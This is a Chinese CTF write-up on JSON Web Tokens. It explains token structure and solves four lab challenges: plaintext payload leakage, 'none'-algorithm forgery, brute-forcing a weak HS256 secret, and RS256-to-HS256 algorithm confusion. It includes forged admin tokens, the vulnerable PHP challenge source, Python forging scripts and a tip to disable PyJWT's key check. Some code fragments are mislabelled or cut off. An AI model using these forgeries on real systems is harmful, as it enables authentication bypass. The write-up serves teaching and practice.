官方解释链接:JWT基础知识
目录
什么是JWT(基础知识)
JWT 的原理
JWT 的数据结构
Header
Payload
Signature
<1> 敏感信息泄露
<2> none算法(无签名)
<3> 弱密钥(c-jwt-cracker爆破密钥)
<4> 修改签名算法
Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519。
该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景,是目前最流行的跨域认证解决方案。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展
实际当中 JWT 长这个样子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ
它是一个很长的字符串,中间用点(.)分隔成三个部分。注意,JWT 内部是没有换行的
JWT 的三个部分依次如下:
写成一行,就是下面的样子。
Header.Payload.Signature
每个部分最后都会使用 base64URLEncode方式进行编码
#!/usr/bin/env python
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
Header 部分是一个 JSON 对象,描述 JWT 的元数据,以上面的例子,使用 base64decode 之后:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
"alg": "HS256",
"typ": "JWT"
}
header部分最常用的两个字段是alg和typ。
alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法
typ属性表示这个token的类型(type),JWT 令牌统一写为JWT。
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
除了官方字段,还可以在这个部分定义私有字段,以上面的例子为例,将 payload 部分解 base64 之后:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0
{
"sub": "1234567890",
"name": "CTFHub",
"iat": 1516239022
}
注意:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分JSON的内容,所以不要将私密的信息放在这个部分
Signature 部分是对前两部分的签名,防止数据篡改
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露
抓个包,找到登录的Token字段 解密查看一下 Header和Payload的内容
一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证
我们解密一下,把hs256加密改为none、把guest改为admin。然后分别base64加密.连接即heaaders.payload.,因为没有加密所以后面的签名为空
payload:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0K.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
得到flag:
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥
签名部分是(HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret) 如果前面的header和payload做出更改的话,签名认证也会随之更改。 同时,在使用不同的密钥对头部信息和载荷进行加密时,所产生的JWT是不一样的
git clone https://github.com/brendan-rius/c-jwt-cracker.git
需要用到一个 c-jwt-cracker 工具
直接跑密钥:./make eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.8dm0QPN_TX8BCfAbILEv-b0vJ5WB6n4yF3HgYWpODQg
得到密钥 rnbx
根据密钥,修改role为admin 构造JWT
修改cookie的token值为构造的JWT 得到flag
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的.
alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
本质上就是通过对公钥使用对称算法加密,并且是在GET模式下提交的数据包。为了输出这个flag,就要进入else语句,既然如此token就不能为空,然后对token使用公钥解码,并且它的role字段对应的值为admin。然后看到decode函数这里它本质上使用的还是JWT上的编码的方法,使用的的KEY值是PUBLIC_KEY,也就是题目给出的提示公钥,发现在 JWTHelper类中,decode()、encode()默认的加密解密方式都为“HS256”根据这个条件我们需要编写一个python代码来生成token。
尝试登录,把token放到 decode JWT上发现是RS256加密
公钥:
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu/Nwij6LAafWU9QjVe8A vOgufRZWVTVveRRJ44e5osZG0j6JJAM8krRcYT+E6NsbBFu9/d//Tqd/u94QztJ0 yp+aKy0XkKjZLaoIU48py5NpZxAhBMeBQUMRbKZB5U/ovW9GPQbzs0iZuf+mHHtQ 22lWqlGvw1vvm2Be/BkES7j9ZPgAeGtrT9qYq2uR3a4AIbtJ1Tw4QE1iOzYJ158T vsNtd/cNKhLFlzisos7Xi23rPufbE2Pht6woIrcRHSJFKLDyYDZHjO3Kdy8GuAse so6wP2L2jMhVeQ9l87y+9owb3bsT5sXViaUG5mpUm8h14d+j4IGtriIGGSe2UESt PwIDAQAB -----END PUBLIC KEY-----
import jwt
import base64
public = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu/Nwij6LAafWU9QjVe8A
vOgufRZWVTVveRRJ44e5osZG0j6JJAM8krRcYT+E6NsbBFu9/d//Tqd/u94QztJ0
yp+aKy0XkKjZLaoIU48py5NpZxAhBMeBQUMRbKZB5U/ovW9GPQbzs0iZuf+mHHtQ
22lWqlGvw1vvm2Be/BkES7j9ZPgAeGtrT9qYq2uR3a4AIbtJ1Tw4QE1iOzYJ158T
vsNtd/cNKhLFlzisos7Xi23rPufbE2Pht6woIrcRHSJFKLDyYDZHjO3Kdy8GuAse
so6wP2L2jMhVeQ9l87y+9owb3bsT5sXViaUG5mpUm8h14d+j4IGtriIGGSe2UESt
PwIDAQAB
-----END PUBLIC KEY-----"""
payload={
"username": "admin",
"role": "admin"
}
print(jwt.encode(payload, key=public, algorithm='HS256'))
报错: jwt报错无encode属性。百度搜索得知,是由于PyJWT和JWT同时存在,导入jwt模块时出现混淆。
解决方法:pip uninstall jwt pip install PyJWT 即可
然后又出现下下面的错误
解决方法:linux下 找到JWT包的位置 /usr/lib/python3/dist-packages/jwt/
vim打开algorithms.py
打开之后,加上这一句:invalid_strings=[]
继续删除 rm -rf __pycache__
即可正常执行,返回构造好的JWT,结果放到cookie里
还有一个另一位师傅的脚本:
# coding=GBK
import hmac
import hashlib
import base64
file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录
key = file.read()
# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)